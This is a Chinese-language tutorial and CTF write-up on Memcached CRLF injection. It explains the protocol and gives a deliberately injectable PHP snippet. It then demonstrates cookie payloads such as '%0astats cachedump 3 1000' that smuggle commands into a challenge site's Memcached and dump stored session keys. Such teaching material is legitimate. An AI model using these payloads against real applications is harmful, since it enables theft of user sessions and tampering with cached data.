0x00 寫在前面

---

wooyun主站也有過Memcached相關漏洞，但大多都是未授權訪問，其實即使是部署得當的Memcached，如果碰上安全意識差的程式設計師哥哥，那麼同樣會出現Memcached安全風險，導致敏感記憶體洩露。

也就是本文要說的Memcached注入

0x01 Memcached簡介&安全性分析

---

Memcached 是一個高效能的分散式記憶體物件快取系統，用於動態Web應用以減輕資料庫負載。

它透過在記憶體中快取資料和物件來減少讀取資料庫的次數，從而提高動態、資料庫驅動網站的速度。

用白話就是說，當傳統web將訪問產生的臨時資料儲存在後端資料庫（如user sessions），部署了Memcached的應用會將user sessions以及其他一些敏感資訊儲存在RAM中，增速同時也減輕後端資料庫反覆查詢帶來的負載。

Memcached建立者Dormando很早就寫過兩篇文章，告誡開發人員不要用memcached儲存Session。但是很多開發者為了效能或者其他原因，依舊把session儲存在memcached中。這樣做，一旦memcached被攻擊，直接將導致管理員或者是使用者token洩露。

0x02 Memcached協議

---

當Memcache被部署之後，我們該如何向其中新增資料？我們透過一個cheat sheet瞭解一下Memcached的協議。

Memcached的語法由如下元素組成

{COMMAND}0x20{ARGUMENT}(LF|CRLF)

command欄位有如下幾條命令

1. 儲存操作(set, add, replace, append, prepend, cas)
2. 檢索操作 (get, gets)
3. 刪除操作 (delete)
4. 增減操作 (incr, decr)
5. touch
6. slabs reassign
7. slabs automove
8. lru_crawler
9. 統計操作(stats items, slabs, cachedump)
10. 其他操作 (version, flush_all, quit)

下面給出幾個安全測試中有用的命令

Command	描述	例項
get	讀某個值	get mykey
set	強制設定某個鍵值	set mykey 0 60 5
add	新增新鍵值對	add newkey 0 60 5
replace	覆蓋已經存在的key	replace key 0 60 5
flush_all	讓所有條目失效	flush_all
stats	列印當前狀態	stats
stats malloc	列印記憶體狀態	stats malloc
version	列印Memcached版本	version

stats cachedump 讀取記憶體中儲存的條目

0x03 Memcached程式碼實現

---

部署好Memcached之後，一個呼叫Memcached的php程式碼是這樣的。

#!php
<?php    

$m = new Memcached();     

$m->set("prefix_".$_GET[‘key’],"data");

為了體現漏洞的產生，我想這樣寫

#!php
<?php    

$m = new Memcached();    

$m->addServer('localhost', 11211);    

$m->set("key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n","1234567890",30);    

?>

set("key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n","1234567890",30)

是的，這裡也就能看到問題。

執行剛剛的命令的時候，server和client的通訊是這樣的（>表示傳送到Memcached ，<表示從Memcached的返回）

> set key 0 0 1
> 1
< STORED

> set injected 0 3600 10
> 1234567890
< STORED

> 0 30 10
< ERROR

> 1234567890
< ERROR

可以看到，對Memcached的協議來講，\r\n是可以用來分割命令的，所以說，我們能直接透過CLRF注入，將\r\n注入到將要傳入Memcached的元素中（例如cookies），實現命令執行。

0x04 Memcache Injection例項

---

最近的一次ctf中，有一個典型的基於CLRF的Memcache注入。（目前該站可以訪問）

http://login2.chal.mmactf.link/login

login as admin

登入之後的請求是這樣的

GET / HTTP/1.1
Host: login2.chal.mmactf.link
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/   20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://login2.chal.mmactf.link/login
Cookie: ss=c4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb
Connection: keep-alive

在測試http頭注入的時候，我們發現將%0a注入到cookies中時,也就是請求：

Cookie: ss=%0ac4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb

返回如下

</div>
<div id="info">
<p>MemcacheError:ERROR  
ERROR</p>
</div>
</body>
</html>

恩，memcached出錯了，那不就是剛剛提到的error嗎？

> 1234567890
< ERROR

說明這裡ss的value代入了memcached。

我們繼續在cookies裡面注入:ss=%0astats

MemcacheError:ERROR
STAT pid 988
STAT uptime 651664
STAT time 1442726665
STAT version 1.4.14 (Ubuntu)
STAT libevent 2.0.21-stable
STAT pointer_size 64
STAT rusage_user 17.256000
STAT rusage_system 18.232000
STAT curr_connections 5
STAT total_connections 946
STAT connection_structures 6
STAT reserved_fds 20
STAT cmd_get 615
STAT cmd_set 188
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 299
STAT get_misses 316
STAT delete_misses 0
STAT delete_hits 42
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT touch_hits 0
STAT touch_misses 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 54350
STAT bytes_written 86307
STAT limit_maxbytes 67108864
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 16
STAT hash_bytes 524288
STAT hash_is_expanding 0
STAT expired_unfetched 15
STAT evicted_unfetched 0
STAT bytes 1137
STAT curr_items 8
STAT total_items 153
STAT evictions 0
STAT reclaimed 96
END

果然返回了memcached的stats

現在來做我們最想做的一件事情，dump記憶體中的東西看看：我們利用cachedump

stats cachedump {slab class} {number of items to dump}

這裡需要介紹下 memcached是以slab class進行分類的 比如：

$ memcached -vv
slab class   1: chunk size        96 perslab   10922
slab class   2: chunk size       120 perslab    8738
slab class   3: chunk size       152 perslab    6898
slab class   4: chunk size       192 perslab    5461

我們可以看到每個class的編排

所以我們每一個都dump出來看看才好：

Cookie: %0astats cachedump 1 1000

返回為

MemcacheError:ERROR ITEM key [1 b; 1441762228 s] ITEM 12345 [20 b; 1441494967 s] END

當我遍歷到class 3的時候：

Cookie: %0astats cachedump 3 1000    
MemcacheError:ERROR 
ITEM 3f063d8659f0f08c4454554294aca59bbe42cc6e11db23eb69f5a1c0a9486aa1 [19 b; 1442016274 s] 
ITEM 0e9d0aecea498b15ee63d38dd4664dcfc75be0846ec4baee931b45a04462eeab [20 b; 1441494967 s] 
ITEM 09cf27be606344f29bda74bd7c035e6d862c95025a2a6bb1785c8883ae65b18a [16 b; 1441494967 s] 
ITEM b33542ed3c8bf5c2c346e26aac28a10055fa6a50c4948873810798e9f4cfca98 [20 b; 1441494967 s] 
ITEM e391306f6481940ab3c796eb1253435b06e9a9357227de734b0ec3f58bd14d7f [19 b; 1442011213 s] 
ITEM c706b288065ad5c29153d8773c3e3be6e8a07408cdf4e0e40e97917896e43839 [19 b; 1442012877 s] 
ITEM a5e754e6e804bf7e49f8096242a6566cc337b06aa6c2dafda3f86edccf8cb4b3 [19 b; 1442011191 s] 
ITEM edf938c33d05ff9f8696415d5ef817014a5cc2906abe24576fdafe8ae58dde48 [19 b; 1442010879 s] 
ITEM 5f7d07e310e9fad574d0975741a9c05d0d75d7157ce9bb9546b7f58d940cee7a [19 b; 1442006048 s] 
ITEM 3d1a32800a501fe7387287ba4631ae9318206ef96083a29f35fd1ef42f7a85c5 [19 b; 1441998916 s] 

終於注入到我們所需要的class中去。

0x05 參考

---

Memcache cheat sheet: http://lzone.de/cheat-sheet/memcached

Memcached Injection: https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf